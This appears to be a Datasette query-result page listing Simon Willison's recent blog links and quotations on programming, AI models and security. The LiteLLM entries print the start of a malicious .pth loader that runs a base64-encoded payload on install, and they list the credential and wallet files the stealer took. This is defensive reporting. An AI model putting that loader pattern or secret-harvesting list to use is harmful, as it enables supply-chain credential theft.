row_to_json() demo

Example of the row_to_json() PostgreSQL function.

Owned by simonw, visibility: Public

SQL query
with quotations as (select 'quotation' as type, created, row_to_json(blog_quotation) as row from blog_quotation),
blogmarks as (select 'blogmark' as type, created, row_to_json(blog_blogmark) as row from blog_blogmark),
combined as (select * from quotations union all select * from blogmarks)
select * from combined order by created desc limit 100

100 rows

type created row
blogmark 2026-04-15 01:59:21+00:00
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  "link_title": "Zig 0.16.0 release notes: \"Juicy Main\"",
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  "commentary": "Zig has *really good* release notes - comprehensive, detailed, and with relevant usage examples for each of the new features.\r\n\r\nOf particular note in the newly released Zig 0.16.0 is what they are calling \"Juicy Main\" - a dependency injection feature for your program's `main()` function where accepting a `process.Init` parameter grants access to a struct of useful properties:\r\n\r\n<div class=\"highlight highlight-source-zig\"><pre><span class=\"pl-k\">const</span> <span class=\"pl-v\">std</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">@import</span>(<span class=\"pl-s\">\"std\"</span>);\r\n\r\n<span class=\"pl-k\">pub</span> <span class=\"pl-k\">fn</span> <span class=\"pl-en\">main</span>(<span class=\"pl-v\">init</span>: <span class=\"pl-k\">std.process.Init</span>) <span class=\"pl-k\">!</span><span class=\"pl-k\">void</span> {\r\n    <span class=\"pl-c\">/// general purpose allocator for temporary heap allocations:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">gpa</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">gpa</span>;\r\n    <span class=\"pl-c\">/// default Io implementation:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">io</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">io</span>;\r\n    <span class=\"pl-c\">/// access to environment variables:</span>\r\n    <span class=\"pl-v\">std</span>.<span class=\"pl-v\">log</span>.<span class=\"pl-v\">info</span>(<span class=\"pl-s\">\"{d} env vars\"</span>, .{<span class=\"pl-v\">init</span>.<span class=\"pl-v\">environ_map</span>.<span class=\"pl-v\">count</span>()});\r\n    <span class=\"pl-c\">/// access to CLI arguments</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">args</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">try</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">minimal</span>.<span class=\"pl-v\">args</span>.<span class=\"pl-v\">toSlice</span>(\r\n        <span class=\"pl-v\">init</span>.<span class=\"pl-v\">arena</span>.<span class=\"pl-v\">allocator</span>()\r\n    );\r\n}</pre></div>",
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blogmark 2026-04-14 23:58:53+00:00
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  "id": 9413,
  "slug": "replace-token-based-csrf",
  "link_url": "https://github.com/simonw/datasette/pull/2689",
  "link_title": "datasette PR #2689: Replace token-based CSRF with Sec-Fetch-Site header protection",
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  "commentary": "Datasette has long protected against CSRF attacks using CSRF tokens, implemented using my [asgi-csrf](https://github.com/simonw/asgi-csrf) Python library. These are something of a pain to work with - you need to scatter forms in templates with `<input type=\"hidden\" name=\"csrftoken\" value=\"{{ csrftoken() }}\">` lines and then selectively disable CSRF protection for APIs that are intended to be called from outside the browser.\r\n\r\nI've been following Filippo Valsorda's research here with interest, described in [this detailed essay from August 2025](https://words.filippo.io/csrf/) and shipped [as part of Go 1.25](https://tip.golang.org/doc/go1.25#nethttppkgnethttp) that same month.\r\n\r\nI've now landed the same change in Datasette. Here's the PR description - Claude Code did much of the work (across 10 commits, closely guided by me and cross-reviewed by GPT-5.4) but I've decided to start writing these PR descriptions by hand, partly to make them more concise and also as an exercise in keeping myself honest.\r\n\r\n> - New CSRF protection middleware inspired by Go 1.25 and [this research](https://words.filippo.io/csrf/) by Filippo Valsorda. This replaces the old CSRF token based protection.\r\n> - Removes all instances of `<input type=\"hidden\" name=\"csrftoken\" value=\"{{ csrftoken() }}\">` in the templates - they are no longer needed.\r\n> - Removes the `def skip_csrf(datasette, scope):` plugin hook defined in `datasette/hookspecs.py` and its documentation and tests.\r\n> - Updated [CSRF protection documentation](https://docs.datasette.io/en/latest/internals.html#csrf-protection) to describe the new approach.\r\n> - Upgrade guide now [describes the CSRF change](https://docs.datasette.io/en/latest/upgrade_guide.html#csrf-protection-is-now-header-based).",
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blogmark 2026-04-14 21:23:59+00:00
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  "slug": "trusted-access-openai",
  "link_url": "https://openai.com/index/scaling-trusted-access-for-cyber-defense/",
  "link_title": "Trusted access for the next era of cyber defense",
  "via_url": "https://news.ycombinator.com/item?id=47770770",
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  "commentary": "OpenAI's answer to [Claude Mythos](https://simonwillison.net/2026/Apr/7/project-glasswing/) appears to be a new model called GPT-5.4-Cyber:\r\n\r\n> In preparation for increasingly more capable models from OpenAI over the next few months, we are fine-tuning our models specifically to enable defensive cybersecurity use cases, starting today with a variant of GPT\u20115.4 trained to be cyber-permissive: GPT\u20115.4\u2011Cyber.\r\n\r\nThey're also extending a program they launched in February (which I had missed) called [Trusted Access for Cyber](https://openai.com/index/trusted-access-for-cyber/), where users can verify their identity (via a photo of a government-issued ID processed by [Persona](https://withpersona.com/)) to gain \"reduced friction\" access to OpenAI's models for cybersecurity work.\r\n\r\nHonestly, this OpenAI announcement is difficult to follow. Unsurprisingly they don't mention Anthropic at all, but much of the piece emphasizes their many years of existing cybersecurity work and their goal to \"democratize access\" to these tools, hence the emphasis on that self-service verification flow from February.\r\n\r\nIf you want access to their best security tools you still need to go through an extra Google Form application process though, which doesn't feel particularly different to me from Anthropic's [Project Glasswing](https://www.anthropic.com/glasswing).",
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blogmark 2026-04-14 19:41:48+00:00
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  "slug": "cybersecurity-proof-of-work",
  "link_url": "https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html",
  "link_title": "Cybersecurity Looks Like Proof of Work Now",
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  "commentary": "The UK's AI Safety Institute recently published [Our evaluation of Claude Mythos Preview\u2019s cyber capabilities](https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities), their own independent analysis of [Claude Mythos](https://simonwillison.net/2026/Apr/7/project-glasswing/) which backs up Anthropic's claims that it is exceptionally effective at identifying security vulnerabilities.\r\n\r\nDrew Breunig notes that AISI's report shows that the more tokens (and hence money) they spent the better the result they got, which leads to a strong economic incentive to spend as much as possible on security reviews:\r\n\r\n> If Mythos continues to find exploits so long as you keep throwing money at it, security is reduced to a brutally simple equation: **to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them**.\r\n\r\nAn interesting result of this is that open source libraries become *more* valuable, since the tokens spent securing them can be shared across all of their users. This directly counters the idea that the low cost of vibe-coding up a replacement for an open source library makes those open source projects less attractive.",
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quotation 2026-04-13 20:59:45+00:00
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quotation 2026-04-13 02:44:24+00:00
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  "quotation": "The problem is that LLMs inherently\u00a0**lack the virtue of laziness**. Work costs nothing to an LLM. LLMs do not feel a need to optimize for their own (or anyone's) future time, and will happily dump more and more onto a layercake of garbage. Left unchecked, LLMs will make systems larger, not better &mdash; appealing to perverse vanity metrics, perhaps, but at the cost of everything that matters.\r\n\r\nAs such, LLMs highlight how essential our human laziness is: our finite time\u00a0**forces**\u00a0us to develop crisp abstractions in part because we don't want to waste our (human!) time on the consequences of clunky ones.",
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blogmark 2026-04-11 19:56:53+00:00
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quotation 2026-04-08 15:18:49+00:00
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  "quotation": "I have a feeling that **everyone likes using AI tools to try doing someone else\u2019s profession**. They\u2019re much less keen when someone else uses it for their profession.",
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blogmark 2026-04-07 21:25:14+00:00
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The pelican is a perky little fella.](https://static.simonwillison.net/static/2026/glm-5.1-pelican.png)\r\n\r\nBut the animation [broke it](https://gisthost.github.io/?73bb6808b18c2482f66e5f082c75f36e):\r\n\r\n![Animation - the wheels and pedals rotate, the clouds move... and the pelican has vanished, but there is a little blob bobbing up and down in the top left corner.](https://static.simonwillison.net/static/2026/glm-5.1-broken-light-lossy.gif)\r\n\r\nThat's the pelican, floating up in the top left corner.\r\n\r\nI usually don't do follow-up prompts for the pelican test, but in this case I made an exception:\r\n\r\n    llm -c 'the animation is a bit broken, the pelican ends up positioned off the screen at the top right'\r\n\r\nGLM 5.1 replied:\r\n\r\n> The issue is that CSS `transform` animations on SVG elements override the SVG `transform` attribute used for positioning, causing the pelican to lose its placement and fly off to the top-right. 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blogmark 2026-04-06 05:18:26+00:00
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  "link_url": "https://apps.apple.com/nl/app/google-ai-edge-gallery/id6749645337",
  "link_title": "Google AI Edge Gallery",
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  "commentary": "Terrible name, really great app: this is Google's official app for running their Gemma 4 models (the E2B and E4B sizes, plus some members of the Gemma 3 family) directly on your iPhone.\r\n\r\nIt works *really* well. The E2B model is a 2.54GB download and is both fast and genuinely useful.\r\n\r\nThe app also provides \"ask questions about images\" and audio transcription (up to 30s) with the two small Gemma 4 models, and has an interesting \"skills\" demo which demonstrates tool calling against eight different interactive widgets, each implemented as an HTML page (though sadly the source code is not visible): interactive-map, kitchen-adventure, calculate-hash, text-spinner, mood-tracker, mnemonic-password, query-wikipedia, and qr-code.\r\n\r\n<img src=\"https://static.simonwillison.net/static/2026/gemini-agent-skills.jpg\" alt=\"Screenshot of an &quot;Agent Skills&quot; chat interface using the Gemma-4-E2B-it model. The user prompt reads &quot;Show me the Castro Theatre on a map.&quot; The model response, labeled &quot;Model on GPU,&quot; shows it &quot;Called JS skill &#39;interactive-map/index.html&#39;&quot; and displays an embedded Google Map centered on a red pin at The Castro Theatre in San Francisco, with nearby landmarks visible including Starbelly, Cliff&#39;s Variety, Blind Butcher, GLBT Historical Society Museum, and Fable. An &quot;Open in Maps&quot; link and &quot;View in full screen&quot; button are shown. Below the map, the model states &quot;The interactive map view for the Castro Theatre has been shown.&quot; with a response time of 2.4 s. A text input field with &quot;Type prompt...&quot; placeholder, a &quot;+&quot; button, and a &quot;Skills&quot; button appear at the bottom.\" style=\"max-width: min(400px, 100%); margin: 0 auto; display: block;\">\r\n\r\n(That demo did freeze the app when I tried to add a follow-up prompt though.)\r\n\r\nThis is the first time I've seen a local model vendor release an official app for trying out their models on in iPhone. Sadly it's missing permanent logs - conversations with this app are ephemeral.",
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  "link_title": "Eight years of wanting, three months of building with AI",
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  "commentary": "Lalit Maganti provides one of my favorite pieces of long-form writing on agentic engineering I've seen in ages.\r\n\r\nThey spent eight years thinking about and then three months building [syntaqlite](https://github.com/lalitMaganti/syntaqlite), which they describe as \"[high-fidelity devtools that SQLite deserves](https://lalitm.com/post/syntaqlite/)\".\r\n\r\nThe goal was to provide fast, robust and comprehensive linting and verifying tools for SQLite, suitable for use in language servers and other development tools - a parser, formatter, and verifier for SQLite queries. I've found myself wanting this kind of thing in the past myself, hence my (far less production-ready) [sqlite-ast](https://simonwillison.net/2026/Jan/30/sqlite-ast-2/) project from a few months ago.\r\n\r\nLalit had been procrastinating on this project for years, because of the inevitable tedium of needing to work through 400+ grammar rules to help build a parser. That's exactly the kind of tedious work that coding agents excel at!\r\n\r\nClaude Code helped get over that initial hump and build the first prototype:\r\n\r\n> AI basically let me put aside all my doubts on technical calls, my uncertainty of building the right thing and my reluctance to get started by giving me very concrete problems to work on. Instead of \u201cI need to understand how SQLite\u2019s parsing works\u201d, it was \u201cI need to get AI to suggest an approach for me so I can tear it up and build something better\". I work so much better with concrete prototypes to play with and code to look at than endlessly thinking about designs in my head, and AI lets me get to that point at a pace I could not have dreamed about before. Once I took the first step, every step after that was so much easier.\r\n\r\nThat first vibe-coded prototype worked great as a proof of concept, but they eventually made the decision to throw it away and start again from scratch. AI worked great for the low level details but did not produce a coherent high-level architecture:\r\n\r\n> I found that AI made me procrastinate on key design decisions. Because refactoring was cheap, I could always say \u201cI\u2019ll deal with this later.\u201d And because AI could refactor at the same industrial scale it generated code, the cost of deferring felt low. But it wasn\u2019t: deferring decisions corroded my ability to think clearly because the codebase stayed confusing in the meantime.\r\n\r\nThe second attempt took a lot longer and involved a great deal more human-in-the-loop decision making, but the result is a robust library that can stand the test of time.\r\n\r\nIt's worth setting aside some time to read this whole thing - it's full of non-obvious downsides to working heavily with AI, as well as a detailed explanation of how they overcame those hurdles.\r\n\r\nThe key idea I took away from this concerns AI's weakness in terms of design and architecture:\r\n\r\n> When I was working on something where I didn\u2019t even know what I wanted, AI was somewhere between unhelpful and harmful. The architecture of the project was the clearest case: I spent weeks in the early days following AI down dead ends, exploring designs that felt productive in the moment but collapsed under scrutiny. In hindsight, I have to wonder if it would have been faster just thinking it through without AI in the loop at all.\r\n>\r\n> But expertise alone isn\u2019t enough. Even when I understood a problem deeply, AI still struggled if the task had no objectively checkable answer. Implementation has a right answer, at least at a local level: the code compiles, the tests pass, the output matches what you asked for. Design doesn\u2019t. We\u2019re still arguing about OOP decades after it first took off.",
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quotation 2026-04-05 21:47:06+00:00
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  "quotation": "From anonymized U.S. ChatGPT data, we are seeing:\r\n\r\n- ~2M weekly messages on health insurance\r\n- ~600K weekly messages [classified as healthcare] from people living in \u201chospital deserts\u201d (30 min drive to nearest hospital)\r\n- 7 out of 10 msgs happen outside clinic hours",
  "source": "Chengpeng Mou",
  "source_url": "https://twitter.com/cpmou2022/status/2040606209800290404",
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blogmark 2026-04-04 16:08:19+00:00
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  "slug": "a-visual-guide-to-gemma-4",
  "link_url": "https://newsletter.maartengrootendorst.com/p/a-visual-guide-to-gemma-4",
  "link_title": "A visual guide to Gemma 4",
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  "commentary": "Maarten Grootendorst joined Google DeepMind two months ago and has been working on the Gemma 4 release.",
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quotation 2026-04-04 02:20:17+00:00
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  "quotation": "[GitHub] platform activity is surging. There were 1 billion commits in 2025. Now, it's 275 million per week, on pace for 14 billion this year if growth remains linear (spoiler: it won't.)\r\n\r\nGitHub Actions has grown from 500M minutes/week in 2023 to 1B minutes/week in 2025, and now 2.1B minutes so far this week.",
  "source": "Kyle Daigle",
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blogmark 2026-04-03 23:59:08+00:00
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  "link_url": "https://sockpuppet.org/blog/2026/03/30/vulnerability-research-is-cooked/",
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  "commentary": "Thomas Ptacek's take on the sudden and enormous impact the latest frontier models are having on the field of vulnerability research.\r\n\r\n> Within the next few months, coding agents will drastically alter both the practice and the economics of exploit development. Frontier model improvement won\u2019t be a slow burn, but rather a step function. Substantial amounts of high-impact vulnerability research (maybe even most of it) will happen simply by pointing an agent at a source tree and typing \u201cfind me zero days\u201d.\r\n\r\nWhy are agents so good at this? A combination of baked-in knowledge, pattern matching ability and brute force:\r\n\r\n> You can't design a better problem for an LLM agent than exploitation research.\r\n>\r\n> Before you feed it a single token of context, a frontier LLM already encodes supernatural amounts of correlation across vast bodies of source code. Is the Linux KVM hypervisor connected to the\u00a0`hrtimer`\u00a0subsystem,\u00a0`workqueue`, or\u00a0`perf_event`? The model knows.\r\n>\r\n> Also baked into those model weights: the complete library of documented \"bug classes\" on which all exploit development builds: stale pointers, integer mishandling, type confusion, allocator grooming, and all the known ways of promoting a wild write to a controlled 64-bit read/write in Firefox.\r\n>\r\n> Vulnerabilities are found by pattern-matching bug classes and constraint-solving for reachability and exploitability. Precisely the implicit search problems that LLMs are most gifted at solving. Exploit outcomes are straightforwardly testable success/failure trials. An agent never gets bored and will search forever if you tell it to.\r\n\r\nThe article was partly inspired by [this episode of the Security Cryptography Whatever podcast](https://securitycryptographywhatever.com/2026/03/25/ai-bug-finding/), where David Adrian, Deirdre Connolly, and Thomas interviewed Anthropic's Nicholas Carlini for 1 hour 16 minutes.\r\n\r\nI just started a new tag here for [ai-security-research](https://simonwillison.net/tags/ai-security-research/) - it's up to 11 posts already.",
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quotation 2026-04-03 21:48:22+00:00
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  "quotation": "On the kernel security list we've seen a huge bump of reports. We were between 2 and 3 per week maybe two years ago, then reached probably 10 a week over the last year with the only difference being only AI slop, and now since the beginning of the year we're around 5-10 per day depending on the days (fridays and tuesdays seem the worst). Now most of these reports are correct, to the point that we had to bring in more maintainers to help us.\r\n\r\nAnd we're now seeing on a daily basis something that never happened before: duplicate reports, or the same bug found by two different people using (possibly slightly) different tools.",
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quotation 2026-04-03 21:46:07+00:00
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  "quotation": "The challenge with AI in open source security has transitioned from an AI slop tsunami into more of a ... plain security report tsunami. Less slop but lots of reports. Many of them really good.\r\n\r\nI'm spending hours per day on this now. It's intense.",
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quotation 2026-04-03 21:44:41+00:00
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  "quotation": "Months ago, we were getting what we called 'AI slop,' AI-generated security reports that were obviously wrong or low quality. It was kind of funny. It didn't really worry us.\r\n\r\nSomething happened a month ago, and the world switched. Now we have real reports. All open source projects have real reports that are made with AI, but they're good, and they're real.",
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  "link_title": "Gemma 4: Byte for byte, the most capable open models",
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blogmark 2026-04-01 20:20:04+00:00
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quotation 2026-04-01 02:07:16+00:00
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blogmark 2026-03-31 23:28:40+00:00
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  "link_title": "Supply Chain Attack on Axios Pulls Malicious Dependency from npm",
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  "commentary": "Useful writeup of today's supply chain attack against Axios, the HTTP client NPM package with [101 million weekly downloads](https://www.npmjs.com/package/axios). Versions `1.14.1` and `0.30.4` both included a new dependency called `plain-crypto-js` which was freshly published malware, stealing credentials and installing a remote access trojan (RAT).\r\n\r\nIt looks like the attack came from a leaked long-lived npm token. Axios have [an open issue to adopt trusted publishing](https://github.com/axios/axios/issues/7055), which would ensure that only their GitHub Actions workflows are able to publish to npm. The malware packages were published without an accompanying GitHub release, which strikes me as a useful heuristic for spotting potentially malicious releases - the same pattern was present for LiteLLM [last week](https://simonwillison.net/2026/Mar/24/malicious-litellm/) as well.",
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quotation 2026-03-30 21:31:02+00:00
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blogmark 2026-03-29 20:08:45+00:00
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  "link_title": "Pretext",
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  "commentary": "Exciting new browser library from Cheng Lou, previously a React core developer and the original creator of the [react-motion](https://github.com/chenglou/react-motion) animation library.\r\n\r\nPretext solves the problem of calculating the height of a paragraph of line-wrapped text *without touching the DOM*. The usual way of doing this is to render the text and measure its dimensions, but this is extremely expensive. Pretext uses an array of clever tricks to make this much, much faster, which enables all sorts of new text rendering effects in browser applications.\r\n\r\nHere's [one demo](https://chenglou.me/pretext/dynamic-layout/) that shows the kind of things this makes possible:\r\n\r\n<video autoplay loop muted playsinline\r\n  poster=\"https://static.simonwillison.net/static/2026/pretex.jpg\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/pretex.mp4\" type=\"video/mp4\">\r\n</video>\r\n\r\nThe key to how this works is the way it separates calculations into a call to a `prepare()` function followed by multiple calls to `layout()`.\r\n\r\nThe `prepare()` function splits the input text into segments (effectively words, but it can take things like soft hyphens and non-latin character sequences and emoji into account as well) and measures those using an off-screen canvas, then caches the results. This is comparatively expensive but only runs once.\r\n\r\nThe `layout()` function can then emulate the word-wrapping logic in browsers to figure out how many wrapped lines the text will occupy at a specified width and measure the overall height.\r\n\r\nI [had Claude](https://claude.ai/share/7859cbe1-1350-4341-bb40-6aa241d6a1fe) build me [this interactive artifact](https://tools.simonwillison.net/pretext-explainer) to help me visually understand what's going on, based on a simplified version of Pretext itself.\r\n\r\nThe way this is tested is particularly impressive. The earlier tests [rendered a full copy of the Great Gatsby](https://github.com/chenglou/pretext/commit/d07dd7a5008726f99a15cebe0abd9031022e28ef#diff-835c37ed3b9234ed4d90c7703addb8e47f4fee6d9a28481314afd15ac472f8d2) in multiple browsers to confirm that the estimated measurements were correct against a large volume of text. This was later joined by [the corpora/ folder](https://github.com/chenglou/pretext/tree/main/corpora) using the same technique against lengthy public domain documents in Thai, Chinese, Korean, Japanese, Arabic, and more.\r\n\r\nCheng Lou [says](https://twitter.com/_chenglou/status/2037715226838343871):\r\n\r\n> The engine\u2019s tiny (few kbs), aware of browser quirks, supports all the languages you\u2019ll need, including Korean mixed with RTL Arabic and platform-specific emojis\r\n> \r\n> This was achieved through showing Claude Code and Codex the browsers ground truth, and have them measure & iterate against those at every significant container width, running over weeks",
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quotation 2026-03-28 12:04:26+00:00
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blogmark 2026-03-27 00:35:01+00:00
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  "commentary": "Callum McMahon reported the [LiteLLM malware attack](https://simonwillison.net/2026/Mar/24/malicious-litellm/) to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:\r\n\r\n> **Confirmed**. Fresh download from PyPI right now in an isolated Docker container:\r\n>\r\n>     Inspecting: litellm-1.82.8-py3-none-any.whl\r\n>     FOUND: litellm_init.pth\r\n>     SIZE: 34628 bytes\r\n>     FIRST 200 CHARS:\r\n>     import os, subprocess, sys; subprocess.Popen([sys.executable, \"-c\", \"import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...\r\n> \r\n> The malicious `litellm==1.82.8` is **live on PyPI right now** and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.\r\n\r\nI was chuffed to see Callum use my [claude-code-transcripts](https://github.com/simonw/claude-code-transcripts) tool to publish the transcript of the conversation.",
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blogmark 2026-03-25 21:47:17+00:00
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  "link_title": "Thoughts on slowing the fuck down",
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  "commentary": "Mario Zechner created the [Pi agent framework](https://github.com/badlogic/pi-mono) used by OpenClaw, giving considerable credibility to his opinions on current trends in agentic engineering. He's not impressed:\r\n\r\n> We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned.\r\n\r\nAgents and humans both make mistakes, but agent mistakes accumulate much faster:\r\n\r\n> A human is a bottleneck. A human cannot shit out 20,000 lines of code in a few hours. Even if the human creates such booboos at high frequency, there's only so many booboos the human can introduce in a codebase per day. [...]\r\n>\r\n> With an orchestrated army of agents, there is no bottleneck, no human pain. These tiny little harmless booboos suddenly compound at a rate that's unsustainable. You have removed yourself from the loop, so you don't even know that all the innocent booboos have formed a monster of a codebase. You only feel the pain when it's too late. [...]\r\n>\r\n> You have zero fucking idea what's going on because you delegated all your agency to your agents. You let them run free, and they are merchants of complexity.\r\n\r\nI think Mario is exactly right about this. Agents let us move *so much faster*, but this speed also means that changes which we would normally have considered over the course of weeks are landing in a matter of hours.\r\n\r\nIt's so easy to let the codebase evolve outside of our abilities to reason clearly about it. [Cognitive debt](https://simonwillison.net/tags/cognitive-debt/) is real.\r\n\r\nMario recommends slowing down:\r\n\r\n> Give yourself time to think about what you're actually building and why. Give yourself an opportunity to say, fuck no, we don't need this. Set yourself limits on how much code you let the clanker generate per day, in line with your ability to actually review the code.\r\n>\r\n> Anything that defines the gestalt of your system, that is architecture, API, and so on, write it by hand. [...]\r\n\r\nI'm not convinced writing by hand is the best way to address this, but it's absolutely the case that we need the discipline to find a new balance of speed v.s. mental thoroughness now that typing out the code is no longer anywhere close to being the bottleneck on writing software.",
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blogmark 2026-03-25 17:21:04+00:00
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  "link_title": "LiteLLM Hack: Were You One of the 47,000?",
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  "commentary": "Daniel Hnyk used the [BigQuery PyPI dataset](https://console.cloud.google.com/bigquery?p=bigquery-public-data&d=pypi) to determine how many downloads there were of [the exploited LiteLLM packages](https://simonwillison.net/2026/Mar/24/malicious-litellm/) during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).\r\n\r\nThey also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.",
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blogmark 2026-03-24 23:57:33+00:00
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  "commentary": "Today's [LiteLLM supply chain attack](https://simonwillison.net/2026/Mar/24/malicious-litellm/) inspired me to revisit the idea of [dependency cooldowns](https://simonwillison.net/2025/Nov/21/dependency-cooldowns/), the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way.\r\n\r\nThis recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's been a flurry of activity across major packaging tools, including:\r\n\r\n- [pnpm 10.16](https://pnpm.io/blog/releases/10.16#new-setting-for-delayed-dependency-updates) (September 2025) \u2014 `minimumReleaseAge` with `minimumReleaseAgeExclude` for trusted packages\r\n- [Yarn 4.10.0](https://github.com/yarnpkg/berry/releases/tag/%40yarnpkg%2Fcli%2F4.10.0) (September 2025) \u2014 `npmMinimalAgeGate` (in minutes) with `npmPreapprovedPackages` for exemptions\r\n- [Bun 1.3](https://bun.com/blog/bun-v1.3#minimum-release-age) (October 2025) \u2014 `minimumReleaseAge` via `bunfig.toml`\r\n- [Deno 2.6](https://deno.com/blog/v2.6#controlling-dependency-stability) (December 2025) \u2014 `--minimum-dependency-age` for `deno update` and `deno outdated`\r\n- [uv 0.9.17](https://github.com/astral-sh/uv/releases/tag/0.9.17) (December 2025) \u2014 added relative duration support to existing `--exclude-newer`, plus per-package overrides via `exclude-newer-package`\r\n- [pip 26.0](https://ichard26.github.io/blog/2026/01/whats-new-in-pip-26.0/) (January 2026) \u2014 `--uploaded-prior-to` (absolute timestamps only; [relative duration support requested](https://github.com/pypa/pip/issues/13674))\r\n- [npm 11.10.0](https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration) (February 2026) \u2014 `min-release-age`\r\n\r\n`pip` currently only supports absolute rather than relative dates but Seth Larson [has a workaround for that](https://sethmlarson.dev/pip-relative-dependency-cooling-with-crontab) using a scheduled cron to update the absolute date in the `pip.conf` config file.",
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blogmark 2026-03-24 15:07:31+00:00
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  "slug": "malicious-litellm",
  "link_url": "https://github.com/BerriAI/litellm/issues/24512",
  "link_title": "Malicious litellm_init.pth in litellm 1.82.8 \u2014 credential stealer",
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  "commentary": "The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a `litellm_init.pth` file, which means installing the package is enough to trigger it even without running `import litellm`.\r\n\r\n(1.82.7 had the exploit as well but it was in the `proxy/proxy_server.py` file so the package had to be imported for it to take effect.)\r\n\r\nThis issue has a very detailed description of what the credential stealer does. There's more information about the timeline of the exploit [over here](https://github.com/BerriAI/litellm/issues/24518).\r\n\r\nPyPI has already [quarantined](https://pypi.org/help/#project_in_quarantine) the [litellm package](https://pypi.org/project/litellm/) so the window for compromise was just a few hours, but if you DID install the package it would have hoovered up a bewildering array of secrets, including `~/.ssh/`, `~/.gitconfig`, `~/.git-credentials`, `~/.aws/`, `~/.kube/`, `~/.config/`, `~/.azure/`, `~/.docker/`, `~/.npmrc`, `~/.vault-token`, `~/.netrc`, `~/.lftprc`, `~/.msmtprc`, `~/.my.cnf`, `~/.pgpass`, `~/.mongorc.js`, `~/.bash_history`, `~/.zsh_history`, `~/.sh_history`, `~/.mysql_history`, `~/.psql_history`, `~/.rediscli_history`, `~/.bitcoin/`, `~/.litecoin/`, `~/.dogecoin/`, `~/.zcash/`, `~/.dashcore/`, `~/.ripple/`, `~/.bitmonero/`, `~/.ethereum/`, `~/.cardano/`.\r\n\r\nIt looks like this supply chain attack started with the [recent exploit](https://www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/) against [Trivy](https://trivy.dev/), ironically a security scanner tool that was used in CI [by LiteLLM](https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16). The Trivy exploit likely resulted in stolen PyPI credentials which were then used to directly publish the vulnerable packages.",
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quotation 2026-03-23 23:31:45+00:00
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quotation 2026-03-23 18:56:18+00:00
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  "commentary": "In [Things That Turbo Pascal is Smaller Than](https://prog21.dadgum.com/116.html) James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.\r\n\r\nThis inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.\r\n\r\nIt did a great job, so I had it create [this interactive artifact](https://tools.simonwillison.net/turbo-pascal-deconstructed) illustrating the result. Here's the [sequence of prompts](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) I used (in regular [claude.ai](https://claude.ai/) chat, not Claude Code):\r\n\r\n> Read this https://prog21.dadgum.com/116.html\r\n\r\n> Now find a copy of that binary online\r\n\r\n> Explore this (*I attached the zip file*)\r\n\r\n> Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations\r\n\r\n![Infographic titled \"TURBO.COM\" with subtitle \"Borland Turbo Pascal 3.02A \u2014 September 17, 1986 \u2014 Deconstructed\" on a dark background. Four statistics are displayed: 39,731 TOTAL BYTES, 17 SEGMENTS MAPPED, 1 INT 21H INSTRUCTION, 100+ BUILT-IN IDENTIFIERS. Below is a \"BINARY MEMORY MAP \u2014 0X0100 TO 0X9C33\" shown as a horizontal color-coded bar chart with a legend listing 17 segments: COM Header & Copyright, Display Configuration Table, Screen I/O & Video BIOS Routines, Keyboard Input Handler, String Output & Number Formatting, DOS System Call Dispatcher, Runtime Library Core, Error Handler & Runtime Errors, File I/O System, Software Floating-Point Engine, x86 Code Generator, Startup Banner & Main Menu Loop, File Manager & Directory Browser, Compiler Driver & Status, Full-Screen Text Editor, Pascal Parser & Lexer, and Symbol Table & Built-in Identifiers.](https://static.simonwillison.net/static/2026/turbo-pascal.jpg)\r\n\r\n**Update**: Annoyingly the [Claude share link](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) doesn't show the actual code that Claude executed, but here's [the zip file](https://static.simonwillison.net/static/2026/turbo-pascal-analysis.zip) it gave me when I asked to download all of the intermediate files.\r\n\r\nI ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!\r\n\r\n<h4 id=\"hallucinated-slop\">Turns out it's hallucinated slop</h4>\r\n\r\n**Update 2**, 24th March 2026: rep_lodsb on Hacker News is someone who actually understands assembler, and they reviewed the annotations and [found them to be hallucinated slop](https://news.ycombinator.com/item?id=47471647#47501692):\r\n\r\n> [...] Obviously, there has to be a lot more to even a simple-minded x86 code generator than just a generic \"emit opcode byte\" and \"emit call\" routine. In general, what A\"I\" produced 